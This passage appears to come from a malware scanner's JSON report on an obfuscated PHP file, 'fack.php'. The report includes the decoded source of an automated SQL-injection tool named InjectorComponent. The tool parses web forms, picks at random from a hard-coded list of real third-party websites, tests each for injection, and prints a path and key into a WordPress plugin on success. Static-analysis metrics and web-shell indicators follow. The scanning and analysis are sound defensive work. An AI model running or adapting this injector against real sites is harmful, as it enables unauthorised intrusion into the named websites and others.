$form, $textareas) ) \n\t\t\t\t{\n\t\t\t\t//echo 22222222222;\n\t\t\t\t\t\n\t\t\t\t\tforeach ( $textareas[0] as $textarea ) \n\t\t\t\t\t{\n\t\t\t\t\t\tpreg_match(\"/\u003ctextarea.*\u003e(.*)\u003c\\/textarea\u003e/isU\", $textarea, $textarea_value);\n\t\t\t\t\t\t$this-\u003e_return[$this-\u003e_counter]['form_elemets'][$this-\u003e_getName($textarea)] = array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type'\t=\u003e 'textarea',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'value'\t=\u003e $textarea_value[1]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n////////////////////////////////////////// начало добавленного цикла по input\n\n\t\t\t\tif ( preg_match_all(\"/\u003cinput.*/ims\", $form, $gtinputs) ) \n\t\t\t\t{\n\t\t\tforeach ( $gtinputs[0] as $gtinput) \n\t\t\t{\n\n\t\t\t\t/*\n\t\t\t\t * \u003cinput without type\n\t\t\t\t */\n\t\t\t\tif ( preg_match_all(\"/\u003cinput .*/ims\", $gtinput, $wotypes) ) \n\t\t\t\t{\n\t\t\t\t\tforeach ( $wotypes[0] as $wotype) \n\t\t\t\t\t{\n\t\t\t\t\t\tif (!stristr($wotype,'type='))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t$this-\u003e_return[$this-\u003e_counter]['form_elemets'][$this-\u003e_getName($wotype)] = array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type'\t=\u003e 'text',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'value'\t=\u003e $this-\u003e_getValue($wotype)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\t * \u003cinput type=hidden entries\n\t\t\t\t */\n\t\t\t\tif ( preg_match_all(\"/\u003cinput.*type=[\\\"']?hidden[\\\"']?.*\u003e/iU\", $gtinput, $hiddens) ) \n\t\t\t\t{\n\t\t\t\t\tforeach ( $hiddens[0] as $hidden ) \n\t\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\t\t$this-\u003e_return[$this-\u003e_counter]['form_elemets'][$this-\u003e_getName($hidden)] = array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type'\t=\u003e 'hidden',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'value'\t=\u003e $this-\u003e_getValue($hidden)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\t * \u003cinput type=text entries\n\t\t\t\t */\n\n\t\t\t\tif ( preg_match_all(\"/\u003cinput.*type=[\\\"']?text[\\\"']?.*\u003e/iU\", $gtinput, $texts) ) \n\t\t\t\t{\n\t\t\t\t\tforeach ( $texts[0] as $text ) \n\t\t\t\t\t{\n\t\t\t\t\t\t$this-\u003e_return[$this-\u003e_counter]['form_elemets'][$this-\u003e_getName($text)] = array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type'\t=\u003e 'text',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'value'\t=\u003e $this-\u003e_getValue($text)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t\t\t\t/*\n\t\t\t\t * \u003cinput type=file entries\n\t\t\t\t */\n\t\t\t\tif ( preg_match_all(\"/\u003cinput.*type=[\\\"']?file[\\\"']?.*\u003e/iU\", $gtinput, $files) ) \n\t\t\t\t{ \n\t\t\t\t\tforeach ( $files[0] as $file ) \n\t\t\t\t\t{\n\t\t\t\t\t\t$this-\u003e_return[$this-\u003e_counter]['form_elemets'][$this-\u003e_getName($file)] = array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type'\t=\u003e 'file',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'value'\t=\u003e $this-\u003e_getValue($file)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\t * \u003cinput type=password entries\n\t\t\t\t */\n\t\t\t\tif ( preg_match_all(\"/\u003cinput.*type=[\\\"']?password[\\\"']?.*\u003e/iU\", $gtinput, $passwords) ) \n\t\t\t\t{ \n\t\t\t\t\tforeach ( $passwords[0] as $password ) \n\t\t\t\t\t{\n\t\t\t\t\t\t$this-\u003e_return[$this-\u003e_counter]['form_elemets'][$this-\u003e_getName($password)] = array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type'\t=\u003e 'password',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'value'\t=\u003e $this-\u003e_getValue($password)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\t * \u003cinput type=checkbox entries\n\t\t\t\t */\n\t\t\t\tif ( preg_match_all(\"/\u003cinput.*type=[\\\"']?checkbox[\\\"']?.*\u003e/iU\", $gtinput, $checkboxes) ) \n\t\t\t\t{\n\t\t\t\t\tforeach ( $checkboxes[0] as $checkbox ) \n\t\t\t\t\t{\n\t\t\t\t\t\tif ( preg_match(\"/checked/i\", $checkbox) ) \n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this-\u003e_return[$this-\u003e_counter]['form_elemets'][$this-\u003e_getName($checkbox)] = array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type'\t=\u003e 'checkbox',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'value'\t=\u003e 'on'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$this-\u003e_return[$this-\u003e_counter]['form_elemets'][$this-\u003e_getName($checkbox)] = array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type'\t=\u003e 'checkbox',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'value'\t=\u003e ''\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\t * \u003cinput type=radio entries\n\t\t\t\t */\n\t\t\t\tif ( preg_match_all(\"/\u003cinput.*type=[\\\"']?radio[\\\"']?.*\u003e/iU\", $gtinput, $radios) ) {\n\t\t\t\t\tforeach ( $radios[0] as $radio ) {\n\t\t\t\t\t\tif ( preg_match(\"/checked/i\", $radio) ) {\n\t\t\t\t\t\t\t$this-\u003e_return[$this-\u003e_counter]['form_elemets'][$this-\u003e_getName($radio)] = array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type'\t=\u003e 'radio',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'value'\t=\u003e $this-\u003e_getValue($radio)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\t * \u003cinput type=submit entries\n\t\t\t\t */\n\t\t\t\tif ( preg_match_all(\"/\u003cinput.*type=[\\\"']?submit[\\\"']?.*\u003e/iU\", $gtinput, $submits) ) {\n\t\t\t\t\tforeach ( $submits[0] as $submit ) {\n\t\t\t\t\t\t$this-\u003e_return[$this-\u003e_counter]['buttons'][$this-\u003ebutton_counter] = array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type'\t=\u003e 'submit',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'name'\t=\u003e $this-\u003e_getName($submit),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'value'\t=\u003e $this-\u003e_getValue($submit)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t$this-\u003ebutton_counter++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\t * \u003cinput type=button entries\n\t\t\t\t */\n\t\t\t\tif ( preg_match_all(\"/\u003cinput.*type=[\\\"']?button[\\\"']?.*\u003e/iU\", $gtinput, $buttons) ) {\n\t\t\t\t\tforeach ( $buttons[0] as $button ) {\n\t\t\t\t\t\t$this-\u003e_return[$this-\u003e_counter]['buttons'][$this-\u003ebutton_counter] = array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type'\t=\u003e 'button',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'name'\t=\u003e $this-\u003e_getName($button),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'value'\t=\u003e $this-\u003e_getValue($button)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t$this-\u003ebutton_counter++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\t * \u003cinput type=reset entries\n\t\t\t\t */\n\t\t\t\tif ( preg_match_all(\"/\u003cinput.*type=[\\\"']?reset[\\\"']?.*\u003e/iU\", $gtinput, $resets) ) {\n\t\t\t\t\tforeach ( $resets[0] as $reset ) {\n\t\t\t\t\t\t$this-\u003e_return[$this-\u003e_counter]['buttons'][$this-\u003ebutton_counter] = array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type'\t=\u003e 'reset',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'name'\t=\u003e $this-\u003e_getName($reset),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'value'\t=\u003e $this-\u003e_getValue($reset)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t$this-\u003ebutton_counter++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\t * \u003cinput type=image entries\n\t\t\t\t */\n\t\t\t\tif ( preg_match_all(\"/\u003cinput.*type=[\\\"']?image[\\\"']?.*\u003e/iU\", $gtinput, $images) ) {\n\t\t\t\t\tforeach ( $images[0] as $image ) {\n\t\t\t\t\t\t$this-\u003e_return[$this-\u003e_counter]['buttons'][$this-\u003ebutton_counter] = array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type'\t=\u003e 'reset',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'name'\t=\u003e $this-\u003e_getName($image),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'value'\t=\u003e $this-\u003e_getValue($image)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t$this-\u003ebutton_counter++;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\t\t\t\n\n\t\n\t\t \t}\n\t\t}\n\n\t\t////////////////////////////////////////// конец добавленного цикла\n\n\n\n\n\n\n\t\t\t\t/*\n\t\t\t\t * \u003cinput type=select entries\n\t\t\t\t * Here I have to go on step around to grep at first all select names and then\n\t\t\t\t * the content. Seems not to work in an other way\n\t\t\t\t */\n\t\t\t\tif ( preg_match_all(\"/\u003cselect.*\u003e.+\u003c\\/select\u003e/isU\", $form, $selects) ) {\n\t\t\t\t\tforeach ( $selects[0] as $select ) {\n\t\t\t\t\t\tif ( preg_match_all(\"/\u003coption.*\u003e.+\u003c\\/option\u003e/isU\", $select, $all_options) ) {\n\t\t\t\t\t\t\tforeach ( $all_options[0] as $option ) {\n\t\t\t\t\t\t\t\tif ( preg_match(\"/selected/i\", $option) ) {\n\t\t\t\t\t\t\t\t\tif ( preg_match(\"/value=[\\\"'](.*)[\\\"']\\s/iU\", $option, $option_value) ) {\n\t\t\t\t\t\t\t\t\t\t$option_value = $option_value[1];\n\t\t\t\t\t\t\t\t\t\t$found_selected = 1;\n\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\tpreg_match(\"/\u003coption.*\u003e(.*)\u003c\\/option\u003e/isU\", $option, $option_value);\n\t\t\t\t\t\t\t\t\t\t$option_value = $option_value[1];\n\t\t\t\t\t\t\t\t\t\t$found_selected = 1;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif ( !isset($found_selected) ) {\n\t\t\t\t\t\t\t\tif ( preg_match(\"/value=[\\\"'](.*)[\\\"']/iU\", $all_options[0][0], $option_value) ) {\n\t\t\t\t\t\t\t\t\t$option_value = $option_value[1];\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tpreg_match(\"/\u003coption\u003e(.*)\u003c\\/option\u003e/iU\", $all_options[0][0], $option_value);\n\t\t\t\t\t\t\t\t\t$option_value = $option_value[1];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tunset($found_selected);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$this-\u003e_return[$this-\u003e_counter]['form_elemets'][$this-\u003e_getName($select)] = array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type'\t=\u003e 'select',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'value'\t=\u003e trim($option_value)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t/*\n\t\t\t\t * Update the form counter if we have more then 1 form in the HTML table\n\t\t\t\t */\n\t\t\t\t$this-\u003e_counter++;\n\t\t\t}\n\t\t}\n\t\treturn $this-\u003e_return;\n\t}\n\t\n\t/**\n\t * Get Name from string\n\t * @access private\n\t * @param string\n\t * @return string\n\t */\n\tfunction _getName( $string ) {\n\t\tif ( preg_match(\"/name=[\\\"']?([\\w\\s\\]\\[]*)[\\\"']?[\\s\u003e]/i\", $string, $match) ) {\n\t\t\t$val_match = preg_replace(\"/\\\"'/\", \"\", trim($match[1]));\n\t\t\t\n\t\t\tunset($string);\n\t\t\treturn $val_match;\n\t\t}\n\t}\n\t\n\t/**\n\t * Get Value from string\n\t * @access private\n\t * @param string\n\t * @return string\n\t */\n\tfunction _getValue( $string ) {\n\t\tif ( preg_match(\"/value=(\\\"([^\\\"]*)\\\"|'([^']*)'|[^\u003e\\s]*)([^\u003e]*)/is\", $string, $match) ) {\n\t\t\t$val_match = trim($match[1]);\n\t\t\t\n\t\t\tif ( strstr($val_match, '\"') ) {\n\t\t\t\t$val_match = str_replace('\"', '', $val_match);\n\t\t\t}\n\t\t\t\n\t\t\tunset($string);\n\t\t\treturn $val_match;\n\t\t}\n\t}\n\n}\n\n\n\n\nignore_user_abort(1); \n$mysql = new InjectorComponent();\n$u[] = 'www.bachverband.de/index.php?pcid=1\u0026pdid=16';\n$u[] = 'molecularcloning.com/index.php?prt=199';\n$u[] = 'www.djpatricksterk.nl/index.php?page=home\u0026show=23';\n$u[] = 'www.eloteto.hu/portal/index2.php?category=50\u0026showcontent=2';\n$u[] = 'www.thetyreworld.in/testimonial-details.php?id=1000';\n$u[] = 'www.groepengroningen.nl/online/details.php?id=6';\n$u[] = 'accessauto.co.za/details.php?stocknr=audiallroad';\n$u[] = 'www.gnxts.com/jobs-details.php?ji=208';\n$u[] = 'www.pregnancy-baby-care.com/list_related_contents.php?q=1679\u0026rel=category';\n$u[] = 'www.oneclickhomevideos.com/members/perf-videos.php?id=11';\n$u[] = 'pifexplosion.com/splashpage2.php?ref=sunrise';\n$u[] = 'www.newreleasetoday.com/artistdetail.php?artist_id=1098';\n$u[] = 'www.selectsmart.com/plus/select.php?url=conflictanimal';\n$u[] = 'tools.bardiauto.ro/details.php?kod=TLCB1015';\n$u[] = 'news.vegan.com/pages/article.php?id=1397';\n\n\n\n$rrr= mt_rand(0,sizeof($u)-1);\n\n\n\n\n//$u = 'hdleecher.com/?s=fs';\n//$test = $mysql-\u003einj_test($u);\n$mysql-\u003elog_enable=false;\n$mysql-\u003edebug =false;\n\n\n\n$test = $mysql-\u003einj_test($u[$rrr]);\nif($test !=false){\n\techo '||stratigery.com/wp-content/plugins/wp_module/wp_tags.php?key=sdfadsgh4513sdGG435341FDGWWDFGDFHDFGDSFGDFSGDFG|| ololo';\n\t\n}\ndie;\n\n///логирование\n//print_r($_SERVER);\n//print_r($mysql);",
          "source.strings[1]": "yz5-5Oa#$\u0026.exeb",
          "source.has_imports": true
        },
        "x": 38,
        "id": 0,
        "is": [
          "base64_decode"
        ],
        "ms": {
          "file": {
            "size": 348139.0
          },
          "text": {
            "digit_ratio": 0.12,
            "space_count": 2.0,
            "total_lines": 3.0,
            "char_entropy": 5.65,
            "unique_chars": 75.0,
            "import_density": 33.33,
            "lines_over_200": 1.0,
            "lines_over_500": 1.0,
            "string_density": 0.67,
            "avg_line_length": 116045.33,
            "lines_over_1000": 1.0,
            "max_line_length": 348103.0,
            "last_line_length": 28.0,
            "long_token_count": 1.0,
            "most_common_char": "C",
            "whitespace_ratio": 0.0,
            "most_common_ratio": 0.07,
            "identifier_density": 1.0,
            "line_length_stddev": 164089.55,
            "encoded_string_ratio": 1.0,
            "normalized_import_count": 0.58,
            "normalized_string_count": 1.15,
            "max_inline_whitespace_run": 1.0,
            "normalized_unique_identifiers": 1.26
          },
          "imports": {
            "total": 1.0,
            "unique_modules": 1.0,
            "third_party_count": 1.0,
            "third_party_ratio": 1.0
          },
          "strings": {
            "total": 2.0,
            "avg_length": 348092.0,
            "max_length": 348092.0,
            "avg_entropy": 5.65,
            "total_bytes": 696184.0,
            "base64_candidates": 2.0,
            "very_long_strings": 2.0,
            "high_entropy_count": 2.0
          },
          "comments": {},
          "functions": {},
          "identifiers": {
            "total": 3.0,
            "avg_length": 8.5,
            "max_length": 13.0,
            "min_length": 4.0,
            "avg_entropy": 2.59,
            "reuse_ratio": 0.67,
            "unique_count": 2.0,
            "length_stddev": 4.5,
            "has_digit_ratio": 0.5,
            "all_lowercase_ratio": 0.5
          }
        },
        "ss": [
          [
            0,
            "xor",
            "yz5-5Oa#$\u0026.exeb"
          ],
          [
            6,
            "base64",
            "error_reporting(0);\n//error_reporting(E_ALL);\nset_time_limit(0);\n\n\n\nclass InjectorComponent {\n\t\n\tfunction __construct() {\n\t\t\n\t\t\n"
          ]
        ],
        "sz": 348139,
        "ts": [
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Exactly one line exceeds 1000 chars",
            "e": [
              "text.lines_over_1000 = 1.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 348103.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "a": "T1505.003",
            "c": 0.8600000143051147,
            "d": "Very long embedded string",
            "e": [
              "strings.max_length = 348092.00"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::very-long-string",
            "l": 1
          },
          {
            "a": "T1505.003",
            "c": 0.8399999737739563,
            "d": "Near-zero whitespace script",
            "e": [
              "text.whitespace_ratio = 0.00"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::near-zero-whitespace",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8500000238418579,
            "d": "Base64 encoded WordPress plugin path",
            "e": [
              "d3AtY29udGVudC9wbHVnaW5z"
            ],
            "i": "micro-behaviors/fs/path/application/webapp::wp-plugin-path-encoded",
            "l": 3,
            "m": "B0032"
          },
          {
            "a": "T1505.003",
            "c": 0.8999999761581421,
            "d": "Regex component marker",
            "e": [
              "cHJlZ19yZXBsYWNl"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/decoder::encoded-dangerous-php-base64--rx-5",
            "l": 1,
            "m": "B0030"
          },
          {
            "a": "T1505.003",
            "d": "PHP open tag",
            "e": [
              "\u003c?php"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/request::php-tag",
            "l": 1,
            "m": "B0030"
          },
          {
            "c": 0.800000011920929,
            "d": "Very short file (under 12 lines)",
            "e": [
              "text.total_lines = 3.00"
            ],
            "i": "metadata/file/text/metrics::file-under-12-lines",
            "l": 1
          },
          {
            "a": "T1505.003",
            "c": 0.8999999761581421,
            "d": "PHP source imports base64_decode",
            "e": [
              "[base64_decode]"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::source-import-base64-decode",
            "l": 1
          },
          {
            "c": 0.6000000238418579,
            "d": "Base64-encoded HTTP protocol fragment",
            "e": [
              "aHR0cDovL"
            ],
            "i": "objectives/exfiltration/oob/endpoint::http-b64",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "Very low whitespace ratio (minified/compressed)",
            "e": [
              "text.whitespace_ratio = 0.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace",
            "l": 2,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "PHP source contains very long line",
            "e": [
              "text.max_line_length = 348103.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/identifiers::php-single-long-line",
            "l": 4,
            "m": "B0032"
          },
          {
            "c": 0.6000000238418579,
            "d": "Base64-encoded HTTPS protocol fragment",
            "e": [
              "aHR0cHM6Ly"
            ],
            "i": "objectives/exfiltration/oob/endpoint::https-b64",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.4000000059604645,
            "d": "Very few string literals (string obfuscation indicator)",
            "e": [
              "strings.total = 2.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/strings::few-strings",
            "l": 3,
            "m": "B0032"
          },
          {
            "c": 0.8999999761581421,
            "d": "Encoded payload detected: base64",
            "e": [
              "error_reporting(0); //error_reporting(E_ \u003cbase64\u003e"
            ],
            "i": "metadata/encoded-payload/base64",
            "l": 3
          }
        ],
        "sha": "a2281fdbfeb4e0bef66c0d174fff9719253ff712c1b3d8cc554a5e6ac3caee89",
        "path": "fack.php",
        "type": "php"
      }
    ],
    "tv": "0a4d2"
  }
}